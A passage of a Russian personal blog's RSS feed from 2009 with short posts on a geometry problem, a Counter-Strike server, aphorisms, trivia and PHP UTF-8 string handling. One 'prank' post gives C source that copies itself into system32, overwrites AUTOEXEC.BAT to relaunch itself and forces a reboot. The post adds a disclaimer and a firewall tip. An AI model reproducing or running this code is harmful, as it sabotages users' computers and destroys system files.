<img src="http://blogfigaroo.ru/wp-content/cache/tex_f3548b957e71bb25340845abb09b05cd.png" align="absmiddle" class="tex" alt="2*A1 + AD=2*B1 + BC" title="Простая задачка по геометрии" />
</li>
<li>Теперь приведём отношение выше к&nbsp;конечному отношению <img src="http://blogfigaroo.ru/wp-content/cache/tex_3bd482fbef682c54fecdcbb2b9b05290.png" align="absmiddle" class="tex" alt="\frac{A1}{B1}" title="Простая задачка по геометрии" />:<br />
<img src="http://blogfigaroo.ru/wp-content/cache/tex_e3baaf693b8dc0f3b47a3d795542f143.png" align="absmiddle" class="tex" alt="2*(A1 - B1)=BC - AD" title="Простая задачка по геометрии" /><br />
<img src="http://blogfigaroo.ru/wp-content/cache/tex_afad9db2be769b587885ff4c961eacd1.png" align="absmiddle" class="tex" alt="A1 - B1=\frac{BC - AD}{2}" title="Простая задачка по геометрии" /><br />
Из&nbsp;выражения выше можно найти отношение <img src="http://blogfigaroo.ru/wp-content/cache/tex_3bd482fbef682c54fecdcbb2b9b05290.png" align="absmiddle" class="tex" alt="\frac{A1}{B1}" title="Простая задачка по геометрии" />, но&nbsp;выражение выше уже&nbsp;точно задаёт координаты точки <b>1</b>.
</li>
</ol>
<p></div></p>
]]></content:encoded>
			<wfw:commentRss>http://blogfigaroo.ru/2009/12/misc/zadachka-po-geometrii/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Figaroo Counter-Strike 1.6 War3Mod</title>
		<link>http://blogfigaroo.ru/2009/11/misc/figaroo-cs-war3mod/</link>
		<comments>http://blogfigaroo.ru/2009/11/misc/figaroo-cs-war3mod/#comments</comments>
		<pubDate>Sat, 28 Nov 2009 11:04:41 +0000</pubDate>
		<dc:creator>Figaroo</dc:creator>
				<category><![CDATA[Разное]]></category>
		<category><![CDATA[CS]]></category>

		<guid isPermaLink="false">http://blogfigaroo.ru/?p=841</guid>
		<description><![CDATA[Приглашаю&#160;Вас поиграть в&#160;CS&#160;1.6 на&#160;сервер Figaroo Counter-Strike&#160;1.6 War3Mod. Адрес сервера: 93.100.38.186:27016. Работает круглосуточно. Это&#160;немного необычный CS-сервер. Это&#160;старейший сервер&#160;CS&#160;1.6 War3Mod! Во-первых, на&#160;нём установлено дополнение War3Mod. При&#160;входе в&#160;игру Вы&#160;должны выбрать одну из&#160;4-х&#160;рас или&#160;одного из&#160;4-х&#160;героев. Каждая раса и&#160;каждый герой даёт игроку определённые навыки и&#160;возможности. Таких навыков&#160;&#8212; четыре, три&#160;из&#160;них имеют по&#160;три уровня, а&#160;последний&#160;&#8212; супер-навык (ultimate). Изначально у&#160;Вас нет&#160;навыков, но, в&#160;процессе [...]]]></description>
			<content:encoded><![CDATA[<p>Приглашаю&nbsp;Вас поиграть в&nbsp;CS&nbsp;1.6 на&nbsp;сервер <strong>Figaroo Counter-Strike&nbsp;1.6 War3Mod</strong>.</p>
<p>Адрес сервера: <strong>93.100.38.186:27016</strong>. Работает <u>круглосуточно</u>.<br />
<img src="http://blogfigaroo.ru/wp-content/uploads/2009/11/figaroo_cs_logo1.png" alt="figaroo cs logo1 Figaroo Counter Strike 1.6 War3Mod" title="figaroo_cs_logo1" width="500" height="69" class="aligncenter size-full wp-image-849" /></p>
<p>Это&nbsp;немного <strong>необычный CS-сервер</strong>. Это&nbsp;старейший сервер&nbsp;CS&nbsp;1.6 War3Mod!</p>
<p>Во-первых, на&nbsp;нём установлено <strong>дополнение <a href="http://cs.figaroo.ru/war3mod/">War3Mod</a></strong>. При&nbsp;входе в&nbsp;игру Вы&nbsp;должны выбрать одну из&nbsp;4-х&nbsp;рас или&nbsp;одного из&nbsp;4-х&nbsp;героев. Каждая раса и&nbsp;каждый герой даёт игроку определённые навыки и&nbsp;возможности. Таких навыков&nbsp;&mdash; четыре, три&nbsp;из&nbsp;них имеют по&nbsp;три уровня, а&nbsp;последний&nbsp;&mdash; <strong>супер-навык (ultimate)</strong>.</p>
<p>Изначально у&nbsp;Вас нет&nbsp;навыков, но, в&nbsp;процессе игры, они&nbsp;появляются у&nbsp;Вас. При&nbsp;убийствах врагов, спасении заложников, закладывании или&nbsp;обезвреживании бомбы и&nbsp;т.п. Вы&nbsp;получаете <strong>опыт (experience)</strong>, который даёт&nbsp;Вам возможность усовершенствовать определённый имеющийся навык (скилл) или&nbsp;выбрать новый.</p>
<p>Также в&nbsp;игре появляются <strong>два&nbsp;дополнительных магазина</strong>, позволяющие покупать различные магические предметы, которые помогут&nbsp;Вам в&nbsp;игре.</p>
<p>Также на&nbsp;сервере <strong>открыта <a href="http://cs.figaroo.ru/register/">регистрация</a></strong>. Зарегистрировавшись, Вы&nbsp;не&nbsp;потеряете свой опыт (xp&nbsp;&mdash; «экспу») и&nbsp;свои навыки (skills). Опыт и&nbsp;навыки сохраняются для&nbsp;каждой расы и&nbsp;каждого героя в&nbsp;отдельности. Также никто, кроме&nbsp;Вас, не&nbsp;сможет играть под&nbsp;вашим ником.</p>
<p>Приглашаем посетить <strong>наш&nbsp;сайт <a href="http://cs.figaroo.ru/">www.cs.figaroo.ru</a></strong>.</p>
<p>У&nbsp;сервера также есть <strong><a href="http://cs.figaroo.ru/forum/">форум</a></strong>, <strong>чат</strong>, <strong><a href="http://cs.figaroo.ru/players/">рейтинг игроков</a></strong>, <strong>мониторинг</strong>, <strong><a href="http://cs.figaroo.ru/banlist/">банлист</a></strong> и т.д.</p>
<p><em>Приятной игры!</em></p>
]]></content:encoded>
			<wfw:commentRss>http://blogfigaroo.ru/2009/11/misc/figaroo-cs-war3mod/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>О случайности</title>
		<link>http://blogfigaroo.ru/2009/11/misc/o-sluchajnosti/</link>
		<comments>http://blogfigaroo.ru/2009/11/misc/o-sluchajnosti/#comments</comments>
		<pubDate>Wed, 25 Nov 2009 07:14:17 +0000</pubDate>
		<dc:creator>Figaroo</dc:creator>
				<category><![CDATA[Разное]]></category>
		<category><![CDATA[мысли о смысле]]></category>

		<guid isPermaLink="false">http://blogfigaroo.ru/?p=812</guid>
		<description><![CDATA[Если Вы&#160;считаете, что какое-либо явление или&#160;событие произошло случайно, скорей всего, Вы&#160;просто не&#160;знаете алгоритм его&#160;работы.]]></description>
			<content:encoded><![CDATA[<p>Если Вы&nbsp;считаете, что какое-либо явление или&nbsp;событие произошло случайно, скорей всего, Вы&nbsp;просто не&nbsp;знаете алгоритм его&nbsp;работы.</p>
]]></content:encoded>
			<wfw:commentRss>http://blogfigaroo.ru/2009/11/misc/o-sluchajnosti/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Забавный кадр</title>
		<link>http://blogfigaroo.ru/2009/11/misc/zabavnyj-kadr/</link>
		<comments>http://blogfigaroo.ru/2009/11/misc/zabavnyj-kadr/#comments</comments>
		<pubDate>Fri, 13 Nov 2009 21:43:35 +0000</pubDate>
		<dc:creator>Figaroo</dc:creator>
				<category><![CDATA[Разное]]></category>
		<category><![CDATA[лулзы]]></category>
		<category><![CDATA[фотки]]></category>

		<guid isPermaLink="false">http://blogfigaroo.ru/?p=804</guid>
		<description><![CDATA[Вот&#160;так включишь телек&#160;&#8212; и&#160;тут&#160;таааккооое))]]></description>
			<content:encoded><![CDATA[<div id="attachment_805" class="wp-caption aligncenter" style="width: 310px"><a href="http://blogfigaroo.ru/wp-content/uploads/2009/11/111120092805.jpg" rel="shadowbox[post-804];player=img;"><img src="http://blogfigaroo.ru/wp-content/uploads/2009/11/111120092805-300x191.jpg" alt="Хвать!" title="111120092805" width="300" height="191" class="size-medium wp-image-805" /></a><p class="wp-caption-text">Хвать!</p></div>
<p>Вот&nbsp;так включишь телек&nbsp;&mdash; и&nbsp;тут&nbsp;таааккооое))</p>
]]></content:encoded>
			<wfw:commentRss>http://blogfigaroo.ru/2009/11/misc/zabavnyj-kadr/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>О лени</title>
		<link>http://blogfigaroo.ru/2009/11/misc/o-leni/</link>
		<comments>http://blogfigaroo.ru/2009/11/misc/o-leni/#comments</comments>
		<pubDate>Sun, 08 Nov 2009 17:09:06 +0000</pubDate>
		<dc:creator>Figaroo</dc:creator>
				<category><![CDATA[Разное]]></category>
		<category><![CDATA[мысли о смысле]]></category>

		<guid isPermaLink="false">http://blogfigaroo.ru/2009/11/ffs-common/o-leni/</guid>
		<description><![CDATA[Пока Вы&#160;ленитесь, кто-то другой зарабатывает Ваши деньги.]]></description>
			<content:encoded><![CDATA[<p>Пока Вы&nbsp;ленитесь, кто-то другой зарабатывает Ваши деньги.</p>
]]></content:encoded>
			<wfw:commentRss>http://blogfigaroo.ru/2009/11/misc/o-leni/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Интересные факты</title>
		<link>http://blogfigaroo.ru/2009/11/misc/interesnye-fakty/</link>
		<comments>http://blogfigaroo.ru/2009/11/misc/interesnye-fakty/#comments</comments>
		<pubDate>Sat, 07 Nov 2009 16:02:06 +0000</pubDate>
		<dc:creator>Figaroo</dc:creator>
				<category><![CDATA[Разное]]></category>
		<category><![CDATA[интересное]]></category>
		<category><![CDATA[компьютерный слэнг]]></category>
		<category><![CDATA[русский язык]]></category>

		<guid isPermaLink="false">http://blogfigaroo.ru/?p=757</guid>
		<description><![CDATA[А&#160;знаете&#160;ли&#160;Вы, что...? 1. Фенолфталеин (вещество-индикатор, меняющее свой цвет в&#160;зависимости от&#160;вида среды: кислотная, нейтральная, щелочная; на&#160;уроках химии показывали) в&#160;народе называется пургеном. 2. Слово&#160;&#171;бан&#187; когда-то в&#160;Речи Посполитой обозначало изгнание из&#160;королевства по&#160;решению суда. 3. 7&#160;ноября&#160;1917 года произошла Октябрьская революция в&#160;России, а&#160;7&#160;ноября&#160;1918 года&#160;&#8212; Ноябрьская революция в&#160;Германии.]]></description>
			<content:encoded><![CDATA[<p>А&nbsp;знаете&nbsp;ли&nbsp;Вы, что...?</p>
<p><b>1.</b> <em>Фенолфталеин</em> (вещество-индикатор, меняющее свой цвет в&nbsp;зависимости от&nbsp;вида среды: кислотная, нейтральная, щелочная; на&nbsp;уроках химии показывали) в&nbsp;народе называется пургеном.</p>
<p><b>2.</b> Слово&nbsp;&laquo;<em>бан</em>&raquo; когда-то в&nbsp;Речи Посполитой обозначало изгнание из&nbsp;королевства по&nbsp;решению суда.</p>
<p><b>3.</b> 7&nbsp;ноября&nbsp;1917 года произошла Октябрьская революция в&nbsp;России, а&nbsp;7&nbsp;ноября&nbsp;1918 года&nbsp;&mdash; Ноябрьская революция в&nbsp;Германии. </p>
]]></content:encoded>
			<wfw:commentRss>http://blogfigaroo.ru/2009/11/misc/interesnye-fakty/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>2 цитаты</title>
		<link>http://blogfigaroo.ru/2009/11/misc/2-citaty/</link>
		<comments>http://blogfigaroo.ru/2009/11/misc/2-citaty/#comments</comments>
		<pubDate>Sat, 07 Nov 2009 09:30:49 +0000</pubDate>
		<dc:creator>Figaroo</dc:creator>
				<category><![CDATA[Разное]]></category>
		<category><![CDATA[мысли о смысле]]></category>
		<category><![CDATA[цитата]]></category>

		<guid isPermaLink="false">http://blogfigaroo.ru/?p=763</guid>
		<description><![CDATA[Ваша самая большая ошибка в&#160;том, что&#160;Вы&#160;боитесь ошибиться. Томми Дюар Если задачу можно решить, то&#160;не&#160;надо тревожиться. А&#160;если нельзя решить, то&#160;тревожиться бесполезно. Тибетская мудрость]]></description>
			<content:encoded><![CDATA[<blockquote><p>Ваша самая большая ошибка в&nbsp;том,<br />
что&nbsp;Вы&nbsp;боитесь ошибиться.</p></blockquote>
<p><em>Томми Дюар</em></p>
<hr align="left" width="50%" />
<blockquote><p>Если задачу можно решить, то&nbsp;не&nbsp;надо тревожиться.<br />
А&nbsp;если нельзя решить, то&nbsp;тревожиться бесполезно.</p></blockquote>
<p><em>Тибетская мудрость</em></p>
]]></content:encoded>
			<wfw:commentRss>http://blogfigaroo.ru/2009/11/misc/2-citaty/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Хеллоуин</title>
		<link>http://blogfigaroo.ru/2009/10/misc/hallowen/</link>
		<comments>http://blogfigaroo.ru/2009/10/misc/hallowen/#comments</comments>
		<pubDate>Sat, 31 Oct 2009 15:27:03 +0000</pubDate>
		<dc:creator>Figaroo</dc:creator>
				<category><![CDATA[Разное]]></category>
		<category><![CDATA[лулзы]]></category>

		<guid isPermaLink="false">http://blogfigaroo.ru/?p=750</guid>
		<description><![CDATA[&#8212;&#160;Сегодня&#160;ж Хеллоуин! &#8212;&#160;Пойду простынь найду, наряжусь придурком.]]></description>
			<content:encoded><![CDATA[<p>&mdash;&nbsp;Сегодня&nbsp;ж Хеллоуин!<br />
&mdash;&nbsp;Пойду простынь найду, наряжусь придурком.</p>
]]></content:encoded>
			<wfw:commentRss>http://blogfigaroo.ru/2009/10/misc/hallowen/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Интересные вопросы</title>
		<link>http://blogfigaroo.ru/2009/10/misc/interesnye-voprosy/</link>
		<comments>http://blogfigaroo.ru/2009/10/misc/interesnye-voprosy/#comments</comments>
		<pubDate>Thu, 29 Oct 2009 08:15:52 +0000</pubDate>
		<dc:creator>Figaroo</dc:creator>
				<category><![CDATA[Разное]]></category>
		<category><![CDATA[интересное]]></category>
		<category><![CDATA[русский язык]]></category>

		<guid isPermaLink="false">http://blogfigaroo.ru/?p=744</guid>
		<description><![CDATA[Сможете&#160;ли Вы&#160;ответить на&#160;несколько простых вопросов, приведённых ниже? :-) 1. Зачем в&#160;солонку кладут несколько рисенок? 2. Почему крышки люков делают круглыми? 3. Каков изначальный смысл слова &#171;стимул&#187;? UPD: Правильные ответы expand(document.getElementById('ddet1268194536'));expand(document.getElementById('ddetlink1268194536')) 1. Они&#160;впитывают влагу, и&#160;соль не&#160;слипается в&#160;комки. 2. Крышка люка чуть большего диаметра, чем&#160;отверстие, никогда не&#160;провалится в&#160;него. А, допустим, квадратная может провалиться, если её&#160;пихать в&#160;отверстие по&#160;диагонали. [...]]]></description>
			<content:encoded><![CDATA[<p>Сможете&nbsp;ли Вы&nbsp;ответить на&nbsp;несколько простых вопросов, приведённых ниже? :-)</p>
<p><b>1.</b> Зачем в&nbsp;солонку кладут несколько рисенок?<br />
<b>2.</b> Почему крышки люков делают круглыми?<br />
<b>3.</b> Каков изначальный смысл слова &laquo;стимул&raquo;?</p>
<p><u>UPD:</u> <a style="display:none;" id="ddetlink1693416120" href="javascript:expand(document.getElementById('ddet1693416120'))">Правильные ответы</a>
<div class="ddet_div" id="ddet1693416120"><script language="JavaScript" type="text/javascript">expand(document.getElementById('ddet1693416120'));expand(document.getElementById('ddetlink1693416120'))</script>
<b>1.</b> Они&nbsp;впитывают влагу, и&nbsp;соль не&nbsp;слипается в&nbsp;комки.<br />
<b>2.</b> Крышка люка чуть большего диаметра, чем&nbsp;отверстие, никогда не&nbsp;провалится в&nbsp;него. А, допустим, квадратная может провалиться, если её&nbsp;пихать в&nbsp;отверстие по&nbsp;диагонали.<br />
<b>3.</b> Специальная палка для&nbsp;погона скота в&nbsp;Древнем Риме.<br />
</div></p>
]]></content:encoded>
			<wfw:commentRss>http://blogfigaroo.ru/2009/10/misc/interesnye-voprosy/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Подъезд, в котором жил Д. А. Медведев</title>
		<link>http://blogfigaroo.ru/2009/10/misc/podezd-v-kotorom-zhil-d-a-medvedev/</link>
		<comments>http://blogfigaroo.ru/2009/10/misc/podezd-v-kotorom-zhil-d-a-medvedev/#comments</comments>
		<pubDate>Tue, 20 Oct 2009 16:48:07 +0000</pubDate>
		<dc:creator>Figaroo</dc:creator>
				<category><![CDATA[Разное]]></category>
		<category><![CDATA[интересное]]></category>
		<category><![CDATA[Питер]]></category>
		<category><![CDATA[фотки]]></category>

		<guid isPermaLink="false">http://blogfigaroo.ru/?p=737</guid>
		<description><![CDATA[Россия, Питер. Фрунзенский район. Не&#160;мог не&#160;сфоткать. :)]]></description>
			<content:encoded><![CDATA[<div id="attachment_738" class="wp-caption aligncenter" style="width: 310px"><a href="http://blogfigaroo.ru/wp-content/uploads/2009/10/150920092414.jpg" rel="shadowbox[post-737];player=img;"><img src="http://blogfigaroo.ru/wp-content/uploads/2009/10/150920092414-300x225.jpg" alt="Здесь провёл детство Д. А. Медведев" title="150920092414.jpg" width="300" height="225" class="size-medium wp-image-738" /></a><p class="wp-caption-text">Здесь провёл детство Д. А. Медведев</p></div>
<p>Россия, Питер. Фрунзенский район. Не&nbsp;мог не&nbsp;сфоткать. :)</p>
]]></content:encoded>
			<wfw:commentRss>http://blogfigaroo.ru/2009/10/misc/podezd-v-kotorom-zhil-d-a-medvedev/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Автобус &#171;на войну&#187;</title>
		<link>http://blogfigaroo.ru/2009/10/misc/avtobus-na-vojnu/</link>
		<comments>http://blogfigaroo.ru/2009/10/misc/avtobus-na-vojnu/#comments</comments>
		<pubDate>Tue, 20 Oct 2009 16:33:05 +0000</pubDate>
		<dc:creator>Figaroo</dc:creator>
				<category><![CDATA[Разное]]></category>
		<category><![CDATA[лулзы]]></category>
		<category><![CDATA[Питер]]></category>
		<category><![CDATA[фотки]]></category>

		<guid isPermaLink="false">http://blogfigaroo.ru/?p=723</guid>
		<description><![CDATA[Россия, Питер. В&#160;39-ом&#160;автобусе.]]></description>
			<content:encoded><![CDATA[<div id="attachment_728" class="wp-caption aligncenter" style="width: 310px"><a href="http://blogfigaroo.ru/wp-content/uploads/2009/10/131020092676.jpg" rel="shadowbox[post-723];player=img;"><img src="http://blogfigaroo.ru/wp-content/uploads/2009/10/131020092676-300x225.jpg" alt="Автобус на войну" title="131020092676.jpg" width="300" height="225" class="size-medium wp-image-728" /></a><p class="wp-caption-text">Автобус на войну</p></div>
<p>Россия, Питер. В&nbsp;39-ом&nbsp;автобусе.</p>
]]></content:encoded>
			<wfw:commentRss>http://blogfigaroo.ru/2009/10/misc/avtobus-na-vojnu/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>ответ Пуассону</title>
		<link>http://blogfigaroo.ru/2009/10/misc/otvet-puassonu/</link>
		<comments>http://blogfigaroo.ru/2009/10/misc/otvet-puassonu/#comments</comments>
		<pubDate>Sun, 18 Oct 2009 19:07:18 +0000</pubDate>
		<dc:creator>Figaroo</dc:creator>
				<category><![CDATA[Разное]]></category>
		<category><![CDATA[мысли о смысле]]></category>

		<guid isPermaLink="false">http://blogfigaroo.ru/?p=718</guid>
		<description><![CDATA[Жизнь украшается двумя вещами: программированием и&#160;его&#160;изучением.]]></description>
			<content:encoded><![CDATA[<p>Жизнь украшается двумя вещами:<br />
программированием и&nbsp;его&nbsp;изучением.</p>
]]></content:encoded>
			<wfw:commentRss>http://blogfigaroo.ru/2009/10/misc/otvet-puassonu/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>из Виктора Франкла</title>
		<link>http://blogfigaroo.ru/2009/10/misc/iz-viktora-frankla/</link>
		<comments>http://blogfigaroo.ru/2009/10/misc/iz-viktora-frankla/#comments</comments>
		<pubDate>Sat, 17 Oct 2009 21:35:40 +0000</pubDate>
		<dc:creator>Figaroo</dc:creator>
				<category><![CDATA[Разное]]></category>
		<category><![CDATA[мысли о смысле]]></category>
		<category><![CDATA[цитата]]></category>

		<guid isPermaLink="false">http://blogfigaroo.ru/?p=715</guid>
		<description><![CDATA[Я&#160;видел смысл своей жизни в&#160;том, чтобы помогать другим увидеть смысл в&#160;своей жизни. Виктор Франкл, &#171;Человек в&#160;поисках смысла&#187;]]></description>
			<content:encoded><![CDATA[<blockquote><p>Я&nbsp;видел смысл своей жизни в&nbsp;том,<br />
чтобы помогать другим увидеть<br />
смысл в&nbsp;своей жизни.</p></blockquote>
<p><em>Виктор Франкл, &laquo;Человек в&nbsp;поисках смысла&raquo;</em></p>
]]></content:encoded>
			<wfw:commentRss>http://blogfigaroo.ru/2009/10/misc/iz-viktora-frankla/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Простейший прикол на C</title>
		<link>http://blogfigaroo.ru/2009/10/misc/prostejshij-prikol-na-c/</link>
		<comments>http://blogfigaroo.ru/2009/10/misc/prostejshij-prikol-na-c/#comments</comments>
		<pubDate>Fri, 16 Oct 2009 21:07:42 +0000</pubDate>
		<dc:creator>Figaroo</dc:creator>
				<category><![CDATA[Разное]]></category>
		<category><![CDATA[C и C++]]></category>
		<category><![CDATA[лулзы]]></category>
		<category><![CDATA[программистские трюки]]></category>

		<guid isPermaLink="false">http://blogfigaroo.ru/?p=707</guid>
		<description><![CDATA[Представляю Вашему вниманию простейшую программу&#160;&#8212; прикол, написанную&#160;на&#160;C. Одного запуска в&#160;Windows с&#160;правами администратора будет достаточно, чтобы компьютер уходил в&#160;перезагрузку при&#160;включении. #include &#60;stdio.h&#62; #include &#60;stdlib.h&#62; int main (void) { int num; unsigned char *buf = malloc(129); FILE *f1, *f2, *f3; f1 = fopen(&#34;./prikol.exe&#34;, &#34;rb&#34;); f2 = fopen(&#34;C:\\WINDOWS\\system32\\prikol.exe&#34;, &#34;wb&#34;); while (num = fread(buf, 1, 128, f1)) {fwrite(buf, 1, [...]]]></description>
			<content:encoded><![CDATA[<p>Представляю Вашему вниманию простейшую программу&nbsp;&mdash; прикол, написанную&nbsp;на&nbsp;C.<br />
Одного запуска в&nbsp;Windows с&nbsp;правами администратора будет достаточно, чтобы компьютер уходил в&nbsp;перезагрузку при&nbsp;включении.</p>
<p><pre class="brush: cpp">
#include &lt;stdio.h&gt;
#include &lt;stdlib.h&gt;
int main (void) {
	int num;
	unsigned char *buf = malloc(129);
	FILE *f1, *f2, *f3;
	f1 = fopen(&quot;./prikol.exe&quot;, &quot;rb&quot;);
	f2 = fopen(&quot;C:\\WINDOWS\\system32\\prikol.exe&quot;, &quot;wb&quot;);
	while (num = fread(buf, 1, 128, f1)) {fwrite(buf, 1, num, f2);}
	fclose(f1);
	fclose(f2);
	f3 = fopen(&quot;C:\\AUTOEXEC.BAT&quot;, &quot;wt&quot;);
	fputs(&quot;\nC:\\WINDOWS\\system32\\prikol.exe\n&quot;, f3);
	fclose(f3);
	system(&quot;shutdown -r -f -t 1&quot;);
	return 0;
}
</pre></p>
<p><em>*Программа предоставлена исключительно в&nbsp;ознакомительных целях.*</em></p>
<p>Чтобы такие приколы не&nbsp;срабатывали, настройте Ваш&nbsp;firewall. Например, Agnitum Outpost на&nbsp;повышенном уровне безопасности может контролировать обращения к&nbsp;системным объектам (типа C:\\AUTOEXEC.BAT) и&nbsp;вызов функции system().</p>
]]></content:encoded>
			<wfw:commentRss>http://blogfigaroo.ru/2009/10/misc/prostejshij-prikol-na-c/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Работа со строками в кодировке UTF-8 в PHP 5</title>
		<link>http://blogfigaroo.ru/2009/10/webdev/utf-8-v-php-5/</link>
		<comments>http://blogfigaroo.ru/2009/10/webdev/utf-8-v-php-5/#comments</comments>
		<pubDate>Wed, 07 Oct 2009 19:53:02 +0000</pubDate>
		<dc:creator>Figaroo</dc:creator>
				<category><![CDATA[Web-разработка]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[UTF-8]]></category>

		<guid isPermaLink="false">http://blogfigaroo.ru/?p=686</guid>
		<description><![CDATA[Здравствуйте, дорогие читатели. Всё, что&#160;Вы&#160;хотели знать про&#160;использование UTF-8 в&#160;PHP&#160;5, но&#160;боялись спросить. :-) Если верить определению, UTF-8 (от&#160;англ. Unicode Transformation Format&#160;&#8212; формат преобразования Юникода)&#160;&#8212; в&#160;настоящее время распространённая кодировка, реализующая представление Юникода, совместимое с&#160;8-битным кодированием текста. Если наше web-приложение работает в&#160;кодировке UTF-8, то&#160;оно&#160;будет доступно пользователю из&#160;любой страны, т.к.&#160;эта кодировка универсальна (в&#160;отличие от&#160;windows-1251 и&#160;прочих) и&#160;поддерживается всеми браузерами и&#160;платформами. [...]]]></description>
			<content:encoded><![CDATA[<p>Здравствуйте, дорогие читатели.<br />
Всё, что&nbsp;Вы&nbsp;хотели знать про&nbsp;использование UTF-8 в&nbsp;PHP&nbsp;5, но&nbsp;боялись спросить. :-)</p>
<p>Если верить определению, <strong>UTF-8</strong> (<em>от&nbsp;англ. Unicode Transformation Format&nbsp;&mdash; формат преобразования Юникода</em>)&nbsp;&mdash; в&nbsp;настоящее время распространённая кодировка, реализующая представление Юникода, совместимое с&nbsp;8-битным кодированием текста.</p>
<p>Если наше <strong>web-приложение</strong> работает в&nbsp;кодировке UTF-8, то&nbsp;оно&nbsp;будет доступно пользователю из&nbsp;любой страны, т.к.&nbsp;эта кодировка универсальна (в&nbsp;отличие от&nbsp;windows-1251 и&nbsp;прочих) и&nbsp;поддерживается всеми браузерами и&nbsp;платформами. Также, <strong>UTF-8</strong> позволяет хранить символы практически всех известных алфавитов (разве что&nbsp;старославянскую письменность не&nbsp;корректно отображает иногда, но&nbsp;не&nbsp;будем об&nbsp;этом:-).</p>
<p>Но&nbsp;есть у&nbsp;неё&nbsp;один минус. Она&nbsp;не&nbsp;поддерживается по&nbsp;умолчанию в&nbsp;PHP&nbsp;5 (в&nbsp;PHP&nbsp;6 обещали исправить). Устраним этот недостаток.<br />
<span id="more-686"></span></p>
<p>Во-первых, работу с&nbsp;UTF-8 упрощают <strong>некоторые расширения</strong> для&nbsp;PHP&nbsp;&mdash; <strong>MB&nbsp;String и&nbsp;Iconv</strong>. Но&nbsp;мы не&nbsp;можем надеяться, что&nbsp;они будут установлены на&nbsp;сервере (ведь наш&nbsp;проект должен быть универсален).</p>
<p>Поэтому, мы&nbsp;должны использовать по&nbsp;возможности инструменты, предоставляемые&nbsp;нам расширениями, а&nbsp;в&nbsp;случае отсутствия последних&nbsp;&mdash; работать самостоятельно.</p>
<p>Определим, какому обработчику будем отдавать предпочтение&nbsp;&mdash; MB&nbsp;String (Multibyte String), Iconv или&nbsp;PHP (ручной режим). В&nbsp;<strong>MB&nbsp;String есть аналоги практически всех PHP-функций</strong> для&nbsp;работы со&nbsp;строками в&nbsp;кодировке UTF-8, в&nbsp;Iconv&nbsp;&mdash; ограниченный режим.<br />
<pre class="brush: php">
// назначаем обработчик строк - MB|Iconv|PHP - в зависимости от конфигурации сервера
define(&#039;STRING_HANDLER&#039;, function_exists(&quot;mb_strlen&quot;) ? &#039;MB&#039; : (function_exists(&quot;iconv_strlen&quot;) ? &#039;Iconv&#039; : &#039;PHP&#039;));
</pre></p>
<p>Затем настроим обработчик строк на работу с UTF-8:<br />
<pre class="brush: php">
// устанавливаем настройки обработчика строк
switch (STRING_HANDLER) {
	case &#039;MB&#039;:
		mb_internal_encoding(&#039;UTF-8&#039;);
		mb_http_output(&#039;UTF-8&#039;);
	break;
	case &#039;Iconv&#039;:
		iconv_set_encoding(&#039;input_encoding&#039;, &#039;UTF-8&#039;);
		iconv_set_encoding(&#039;internal_encoding&#039;, &#039;UTF-8&#039;);
		iconv_set_encoding(&#039;output_encoding&#039;, &#039;UTF-8&#039;);
	break;
}
</pre></p>
<p>Все наши&nbsp;функции будут иметь префикс&nbsp;&laquo;f&raquo;, чтобы не&nbsp;путаться.<br />
Ниже я&nbsp;приведу код&nbsp;некоторых функций, а&nbsp;в&nbsp;конце поста &mdash; ссылку на&nbsp;скачивание готовой библиотеки.</p>
<p>Аналог htmlspecialchars:<br />
<pre class="brush: php">
function htmlsec ($str) {
	$str = (string)$str;
	return htmlspecialchars($str, ENT_QUOTES, &#039;UTF-8&#039;);
}
</pre></p>
<p>Определение длины строки:<br />
<pre class="brush: php">
function fstrlen ($str) {
	$str = (string)$str;
	if (STRING_HANDLER == &#039;MB&#039;) return mb_strlen($str, &#039;utf-8&#039;);
	return strlen(utf8_decode($str));
}
</pre></p>
<p>Некоторые функции, такие&nbsp;как str_replace, explode/implode и&nbsp;др. корректно работают с&nbsp;юникодом UTF-8 и&nbsp;не&nbsp;нуждаются в&nbsp;переработке.</p>
<p><strong>Немного о&nbsp;регулярных выражениях PCRE и&nbsp;UTF-8.</strong><br />
Для&nbsp;того, чтобы Ваши регулярные выражения работали с&nbsp;универсальной кодировкой UTF-8, нужно использовать модификатор &laquo;u&raquo;. Пример:<br />
<pre class="brush: php">
preg_match(&quot;#[a-z0-9\\-.]@figaroo.ru#uis&quot;, $str);
</pre></p>
<p><strong>Скачать</strong> архив с&nbsp;библиотекой функций: <strong><a href='http://blogfigaroo.ru/wp-content/uploads/2009/10/string.functions.rar'>string.functions.rar</a></strong>.<br />
<small>Библиотека может в&nbsp;дальнейшем обновляться, я&nbsp;предупрежу.</small></p>
]]></content:encoded>
			<wfw:commentRss>http://blogfigaroo.ru/2009/10/webdev/utf-8-v-php-5/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Автоматическое определение часового пояса в web-приложениях</title>
		<link>http://blogfigaroo.ru/2009/10/webdev/avto-opredelenie-chasovogo-poyasa/</link>
		<comments>http://blogfigaroo.ru/2009/10/webdev/avto-opredelenie-chasovogo-poyasa/#comments</comments>
		<pubDate>Wed, 07 Oct 2009 15:37:30 +0000</pubDate>
		<dc:creator>Figaroo</dc:creator>
				<category><![CDATA[Web-разработка]]></category>
		<category><![CDATA[JS]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[программистские трюки]]></category>

